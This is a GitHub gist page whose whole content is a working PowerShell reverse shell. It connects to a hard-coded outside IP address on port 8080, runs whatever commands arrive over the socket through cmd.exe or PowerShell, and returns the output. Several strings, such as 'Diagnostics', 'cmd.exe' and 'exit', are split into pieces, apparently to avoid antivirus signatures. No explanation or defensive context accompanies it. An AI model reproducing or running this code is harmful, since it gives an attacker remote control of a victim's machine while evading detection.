Skip to content

Instantly share code, notes, and snippets.

@puniaze
Last active August 20, 2021 21:57
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save puniaze/2ecd9d0ec2387a8c2434c7facc579cbc to your computer and use it in GitHub Desktop.
Save puniaze/2ecd9d0ec2387a8c2434c7facc579cbc to your computer and use it in GitHub Desktop.
$socket = new-object System.Net.Sockets.TcpClient('147.182.215.228', 8080);
if($socket -eq $null){exit 1}
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$DASSAQ = "Ascii"
$DASSAQ +="Encoding"
$dia = "Diagn"
$dia += "ostics"
$pr = "Pr"+"oc"+"ess"
$pr +="StartInfo"
$encoding = new-object System.Text.$DASSAQ;
do
{
$writer.Flush();
$read = $null;
$res = ""
while($stream.DataAvailable -or $read -eq $null) {
$read = $stream.Read($buffer, 0, 1024)
$u = 0;
}
$out = $encoding.GetString($buffer, 0, $read).Replace("`r`n","").Replace("`n","");
if(!$out.equals("e"+"x"+"it")){
$args = "";
if($out.IndexOf(' ') -gt -1){
$args = $out.substring($out.IndexOf(' ')+1);
$out = $out.substring(0,$out.IndexOf(' '));
if($args.split(' ').length -gt 1){
$pinfo = New-Object System.$dia.$pr
$pinfo.FileName = "cm"
$pinfo.FileName += "d.exe"
$pinfo.RedirectStandardError = $true
$pinfo.RedirectStandardOutput = $true
$pinfo.UseShellExecute = $false
$pinfo.Arguments = "/"
$pinfo.Arguments += "c $out $args"
$p = New-Object System.$dia.Process
$p.StartInfo = $pinfo
$p.Start() | Out-Null
$p.WaitForExit()
$stdout = $p.StandardOutput.ReadToEnd()
$stderr = $p.StandardError.ReadToEnd()
if ($p.ExitCode -ne 0) {
$res = $stderr
} else {
$res = $stdout
}
}
else{
$res = (&"$out" "$args") | out-string;
}
}
else{
$res = (&"$out") | out-string;
}
if($res -ne $null){
$writer.WriteLine($res)
}
}
}While (!$out.equals("exit"))
$writer.close();
$socket.close();
$stream.Dispose()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment